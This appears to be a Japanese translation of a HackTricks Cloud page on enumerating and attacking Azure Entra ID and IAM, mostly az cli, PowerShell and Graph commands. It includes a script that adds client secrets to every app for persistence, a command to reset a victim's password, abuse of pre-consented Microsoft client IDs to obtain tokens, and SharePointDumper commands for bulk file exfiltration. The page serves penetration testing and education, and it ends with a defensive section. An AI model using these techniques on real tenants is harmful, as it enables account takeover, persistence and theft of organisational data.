Az - Entra ID (AzureAD) & Azure IAM
Tip
学んで実践する AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks をサポートする
- subscription plans を確認してください!
- 参加する 💬 Discord group または telegram group に参加するか、Twitter 🐦 @hacktricks_live をフォローしてください。
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
基本情報
Azure Active Directory (Azure AD) は、Microsoft のクラウドベースのアイデンティティおよびアクセス管理サービスです。従業員がサインインして、組織内外のリソース(Microsoft 365、Azure portal、およびその他多数の SaaS アプリケーションを含む)にアクセスできるようにする上で重要な役割を果たします。Azure AD の設計は、認証、認可、ユーザー管理 といった基本的なアイデンティティサービスの提供に重点を置いています。
Azure AD の主要な機能には、多要素認証 や 条件付きアクセス といった機能が含まれ、他の Microsoft セキュリティサービスとのシームレスな統合も可能です。これらの機能はユーザーアイデンティティのセキュリティを大幅に向上させ、組織がアクセスポリシーを効果的に実装・施行することを支援します。Microsoft のクラウドサービスエコシステムにおける基本的なコンポーネントとして、Azure AD はクラウド上でのユーザーアイデンティティ管理において重要な役割を担っています。
列挙
接続
az login #This will open the browser (if not use --use-device-code)
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity
# Login as service principal
## With password
az login --service-principal -u <application ID> -p VerySecret --tenant contoso.onmicrosoft.com # Tenant can also be the tenant UUID
## With cert
az login --service-principal -u <application ID> -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com
# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph
# If you want to configure some defaults
az configure
# Get user logged-in already
az ad signed-in-user show
# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples
任意のプログラムでCLIを使ってloginすると、Microsoftに属するtenantのAzure Applicationを利用しています。これらのApplicationは、アカウントで作成できるものと同様にhave a client idを持っています。コンソールで確認できるallowed applications listsですべてを表示できるわけではありませんが、but they are allowed by default。
例えば、powershell scriptがauthenticatesする際には client id が 1950a258-227b-4e31-a9cf-717495945fc2 の app を使用します。たとえその app がコンソールに表示されなくても、sysadmin はそのアプリを block that application して、ユーザーがその App 経由で接続するツールを使えないようにできます。
しかし、other client-ids を持つアプリケーションが他にも存在し、will allow you to connect to Azure:
# The important part is the ClientId, which identifies the application to login inside Azure
$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue
$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue
$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue
テナント
# List tenants
az account tenant list
ユーザー
Entra ID ユーザーの詳細については、以下を参照してください:
# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from Entra ID
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user in Azure (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --assignee <email>
# Get ALL roles assigned in Azure in the current subscription (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --all
# Get EntraID roles assigned to a user
## Get Token
export TOKEN=$(az account get-access-token --resource https://graph.microsoft.com/ --query accessToken -o tsv)
## Get users
curl -X GET "https://graph.microsoft.com/v1.0/users" \
-H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq
## Get EntraID roles assigned to an user
curl -X GET "https://graph.microsoft.com/beta/rolemanagement/directory/transitiveRoleAssignments?\$count=true&\$filter=principalId%20eq%20'86b10631-ff01-4e73-a031-29e505565caa'" \
-H "Authorization: Bearer $TOKEN" \
-H "ConsistencyLevel: eventual" \
-H "Content-Type: application/json" | jq
## Get role details
curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefinitions/cf1c38e5-3621-4004-a7cb-879624dced7c" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" | jq
ユーザーのパスワードを変更
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
MFA と Conditional Access ポリシー
すべてのユーザーにMFAを追加することを強く推奨しますが、企業によっては設定しないか、Conditional Accessで設定する場合があります:ユーザーは特定の場所やブラウザ、または何らかの条件からログインした場合にMFAが要求されるように設定されることがあります。これらのポリシーは正しく構成されていないとbypassesの対象になる可能性があります。確認:
Az - Conditional Access Policies & MFA Bypass
グループ
Entra ID groups の詳細については次を参照:
# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from Entra ID
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get roles assigned to the group in Azure (NOT in Entra ID)
az role assignment list --include-groups --include-classic-administrators true --assignee <group-id>
# To get Entra ID roles assigned check how it's done with users and use a group ID
グループにユーザーを追加
グループの所有者は新しいユーザーをグループに追加できます。
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
Warning
グループは動的に設定でき、基本的に ユーザーが特定の条件を満たすとそのグループに追加される ことを意味します。もちろん、もしその条件が ユーザーが制御できる属性 に基づいている場合、ユーザーはこの機能を悪用して 他のグループに入る ことが可能になります。
動的グループを悪用する方法は次のページを確認してください:
Service Principals
Entra ID service principals に関する詳細は次を参照してください:
# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName,appId]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine
# Get SPs with generated secret or certificate
az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
Warning
Service Principal の Owner はその password を変更できます。
各 Enterprise App を列挙し、それぞれに client secret を追加できるか試す
```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret { <# .SYNOPSIS Add client secret to the applications..PARAMETER GraphToken Pass the Graph API Token
.EXAMPLE PS C:> Add-AzADAppSecret -GraphToken ‘eyJ0eX..’
.LINK https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http #>
[CmdletBinding()] param( [Parameter(Mandatory=$True)] [String] $GraphToken = $null )
$AppList = $null $AppPassword = $null
List All the Applications
$Params = @{ “URI” = “https://graph.microsoft.com/v1.0/applications” “Method” = “GET” “Headers” = @{ “Content-Type” = “application/json” “Authorization” = “Bearer $GraphToken” } }
try { $AppList = Invoke-RestMethod @Params -UseBasicParsing } catch { }
Add Password in the Application
if($AppList -ne $null) { [System.Collections.ArrayList]$Details = @()
foreach($App in $AppList.value) { $ID = $App.ID $psobj = New-Object PSObject
$Params = @{ “URI” = “https://graph.microsoft.com/v1.0/applications/$ID/addPassword” “Method” = “POST” “Headers” = @{ “Content-Type” = “application/json” “Authorization” = “Bearer $GraphToken” } }
$Body = @{ “passwordCredential”= @{ “displayName” = “Password” } }
try { $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) Add-Member -InputObject $psobj -NotePropertyName “Object ID” -NotePropertyValue $ID Add-Member -InputObject $psobj -NotePropertyName “App ID” -NotePropertyValue $App.appId Add-Member -InputObject $psobj -NotePropertyName “App Name” -NotePropertyValue $App.displayName Add-Member -InputObject $psobj -NotePropertyName “Key ID” -NotePropertyValue $AppPassword.keyId Add-Member -InputObject $psobj -NotePropertyName “Secret” -NotePropertyValue $AppPassword.secretText $Details.Add($psobj) | Out-Null } catch { Write-Output “Failed to add new client secret to ‘$($App.displayName)’ Application.” } } if($Details -ne $null) { Write-Output “” Write-Output “Client secret added to : “ Write-Output $Details | fl * } } else { Write-Output “Failed to Enumerate the Applications.” } }
</details>
### アプリケーション
アプリケーションの詳細については次を参照してください:
<a class="content_ref" href="../az-basic-information/index.html"><span class="content_ref_label">Az - Basic Information</span></a>
App が作成されると、3種類の権限が付与されます:
- **Permissions** — **Service Principal** に与えられる(roles 経由)。
- **Permissions** — **app** が **ユーザーに代わって** 所持し使用できる権限。
- **API Permissions** — 他の roles がこれらの権限を付与することを必要とせず、app に対して EntraID 上の権限を与える。
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List Apps
az ad app list
az ad app list --query "[].[displayName,appId]" -o table
# Get info of 1 App
az ad app show --id 00000000-0000-0000-0000-000000000000
# Search App by string
az ad app list --query "[?contains(displayName,'app')].displayName"
# Get the owner of an application
az ad app owner list --id <id> --query "[].[displayName]" -o table
# Get SPs owned by current user
az ad app list --show-mine
# Get apps with generated secret or certificate
az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
# Get Global Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"
# Get Application Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"
# Get Cloud Applications Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]
## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
すべてのアプリケーションの API 権限を見つけ、Microsoft 所有の API をマークする (az cli)
```bash #!/usr/bin/env bash set -euo pipefailKnown Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )
is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }
get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”
value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi
if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi
[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }
command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null
apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”
tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT
Build unique resourceAppId values used by applications.
jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”
Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”
echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”
Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“
while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“
[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”
if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi
permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)
echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)
</details>
{{#endtab }}
{{#tab name="Az" }}
```bash
# Get Apps
Get-AzADApplication
# Get details of one App
Get-AzADApplication -ObjectId <id>
# Get App searching by string
Get-AzADApplication | ?{$_.DisplayName -match "app"}
# Get Apps with password
Get-AzADAppCredential
{{#endtab }}
{{#tab name=“MS Graph” }}
# List Applications using Microsoft Graph PowerShell
Get-MgApplication -All
# Get application details
Get-MgApplication -ApplicationId 7861f72f-ad49-4f8c-96a9-19e6950cffe1 | Format-List *
# Search App by display name
Get-MgApplication -Filter "startswith(displayName, 'app')" | Select-Object DisplayName
# Get owner of an application
Get-MgApplicationOwner -ApplicationId <ApplicationId>
# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Applications
{{#endtab }}
{{#tab name=“Azure AD” }}
# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
Get-AzureADApplication -ObjectId <id> | fl *
# List all the apps with an application password
Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}}
# Get owner of an application
Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#endtab }} {{#endtabs }}
Warning
アプリが権限
AppRoleAssignment.ReadWriteを持っていると、自分自身にそのロールを付与することで Global Admin に昇格 することができます。
詳細は check this を参照してください。
Note
アプリケーションがトークンを要求する際に自身の識別を証明するために使用する秘密文字列は the application password です。
したがって、この password を見つければ、service principal inside the tenant としてアクセスできます。
この password は生成時のみ表示される点に注意してください(変更はできますが再取得はできません)。
The owner of the application can add a password to it(そのため偽装が可能です)。
これらの service principals によるログインは not marked as risky であり、won’t have MFA.
It’s possible to find a list of commonly used App IDs that belongs to Microsoft in https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications
Managed Identities
For more information about Managed Identities check:
# List all manged identities
az identity list --output table
# With the principal ID you can continue the enumeration in service principals
Azure のロール
Azure のロールの詳細については、次を参照してください:
# Get roles
az role definition list
# Get all assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,scope:scope,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"
# Get all the roles assigned to a user
az role assignment list --assignee "<email>" --all --output table
# Get all the roles assigned to a user by filtering
az role assignment list --all --query "[?principalName=='admin@organizationadmin.onmicrosoft.com']" --output table
# Get deny assignments
az rest --method GET --uri "https://management.azure.com/{scope}/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"
## Example scope of subscription
az rest --method GET --uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"
Entra ID ロール
Azure roles の詳細については、以下を参照してください:
# List template Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"
# List enabled built-in Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# List all Entra ID roles with their permissions (including custom roles)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"
# List only custom Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# List all assigned Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
# List members of a Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"
# List Entra ID roles assigned to a user
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
# List Entra ID roles assigned to a group
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
# List Entra ID roles assigned to a service principal
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
デバイス
# If you know how to do this send a PR!
Warning
デバイス(VM)が AzureAD joined の場合、AzureAD のユーザーは ログイン可能 になります。
さらに、ログインしているユーザーがデバイスの Owner であれば、そのユーザーは local admin になります。
管理ユニット
管理ユニットの詳細については以下を参照してください:
# List all administrative units
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
# Get AU info
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53"
# Get members
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members"
# Get principals with roles over the AU
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"
Microsoft Graph 委任された SharePoint データの持ち出し (SharePointDumper)
Sites.Read.All または Sites.ReadWrite.All を含む 委任された Microsoft Graph トークン を持つ攻撃者は、Graph 上で sites/drives/items を列挙し、その後 SharePoint pre-authentication download URLs(access token を埋め込んだ時間制限付き URL)を介して ファイル内容を取得できます。SharePointDumper スクリプトはフロー全体(enumeration → pre-auth downloads)を自動化し、検出テスト用にリクエストごとのテレメトリを出力します。
使用可能な委任トークンの取得
- SharePointDumper 自体は 認証を行わない ため、access token(必要に応じて refresh token)を提供してください。
- 事前に同意された first-party clients は、アプリを登録せずに Graph トークンを発行するために悪用できます。例:
Invoke-Auth(from EntraTokenAid) の呼び出し:
# CAE requested by default; yields long-lived (~24h) access token
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
$tokens = Invoke-Auth -ClientID 'b26aadf8-566f-4478-926f-589f601d9c74' -RedirectUrl 'urn:ietf:wg:oauth:2.0:oob' # OneDrive (FOCI TRUE)
# Other pre-consented clients
Invoke-Auth -ClientID '1fec8e78-bce4-4aaf-ab1b-5451cc387264' -RedirectUrl 'https://login.microsoftonline.com/common/oauth2/nativeclient' # Teams (FOCI TRUE)
Invoke-Auth -ClientID 'd326c1ce-6cc6-4de2-bebc-4591e5e13ef0' -RedirectUrl 'msauth://code/ms-sharepoint-auth%3A%2F%2Fcom.microsoft.sharepoint' # SharePoint (FOCI TRUE)
Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https://scuprodprv.www.microsoft365.com/spalanding' -Origin 'https://doesnotmatter' # OfficeHome (FOCI FALSE)
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
Note
FOCI TRUE clients はデバイスを跨いだ refresh をサポートします。FOCI FALSE clients は多くの場合、reply URL origin の検証を満たすために
-Originが必要です。
SharePointDumper を使った enumeration + exfiltration の実行
- カスタム UA / proxy / throttling を使った基本ダンプ:
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
- スコープの制御:サイトや拡張機能の含める/除外、およびグローバル上限:
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
- Resume 中断した実行を再開(再列挙するがダウンロード済みのアイテムはスキップ):
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
- HTTP 401 時の自動トークンリフレッシュ (EntraTokenAid の読み込みが必要):
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
Operational notes:
- Prefers CAE-enabled tokens to avoid mid-run expiry; refresh attempts are not logged in the tool’s API log.
- Generates CSV/JSON request logs for Graph + SharePoint and redacts embedded SharePoint download tokens by default (toggleable).
- Supports custom User-Agent, HTTP proxy, per-request delay + jitter, and Ctrl+C-safe shutdown for traffic shaping during detection/IR tests.
Entra ID Privilege Escalation
Azure Privilege Escalation
Az - Azure IAM Privesc (Authorization)
Defensive Mechanisms
Privileged Identity Management (PIM)
Azure の Privileged Identity Management (PIM) は、ユーザーに不必要に過剰な権限が割り当てられるのを防ぐのに役立ちます。
PIM の主な機能の一つは、ロールを常時アクティブなプリンシパルに割り当てるのではなく、一定期間(例:eligible for a period of time (e.g. 6months))だけ「eligible」にすることができる点です。ユーザーがそのロールを有効化したい場合は、必要な時間(例:3時間)を指定して申請する必要があり、申請はadmin needs to approveされます。
ユーザーは時間をextendするよう要求することもできます。
Moreover, PIM send emails whenever a privileged role is being assigned to someone.
.png)
PIM が有効な場合、各ロールに対して以下のような要件を設定できます:
- アクティベーションの最大期間(hours)
- アクティベーション時にRequire MFA を要求
- Require Conditional Access authentication context
- アクティベーション時にRequire justification を要求
- アクティベーション時にRequire ticket information を要求
- アクティベーションにRequire approval を要求
- Max time to expire the elegible assignments
- そのロールに関連する特定の操作が発生したときに、いつ誰に通知を送るかなど、多くの追加設定
Conditional Access Policies
Check:
Az - Conditional Access Policies & MFA Bypass
Entra Identity Protection
Entra Identity Protection は、ユーザーやサインインが受け入れられないほどリスクが高い場合を検出し、ユーザーやサインイン試行をブロックできるセキュリティサービスです。
管理者は、リスクが “Low and above”、“Medium and above”、または “High” の場合に試行をブロックするよう設定できます。ただし、デフォルトでは完全にdisabledです:
.png)
Tip
現在では、可能な場合は Conditional Access ポリシーを通じてこれらの制限を追加することが推奨されています。
Entra Password Protection
Entra Password Protection (https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade) は、複数回のログイン失敗が発生した際にアカウントをロックすることで弱いパスワードの悪用を防止するセキュリティ機能です。
また、管理者が提供するカスタムパスワードリストをbanすることもできます。
クラウドレベルとオンプレミスの Active Directory の両方に適用できます。
デフォルトモードはAuditです:
.png)
References
- https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units
- SharePointDumper
- EntraTokenAid
Tip
学んで実践する AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks をサポートする
- subscription plans を確認してください!
- 参加する 💬 Discord group または telegram group に参加するか、Twitter 🐦 @hacktricks_live をフォローしてください。
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
HackTricks Cloud

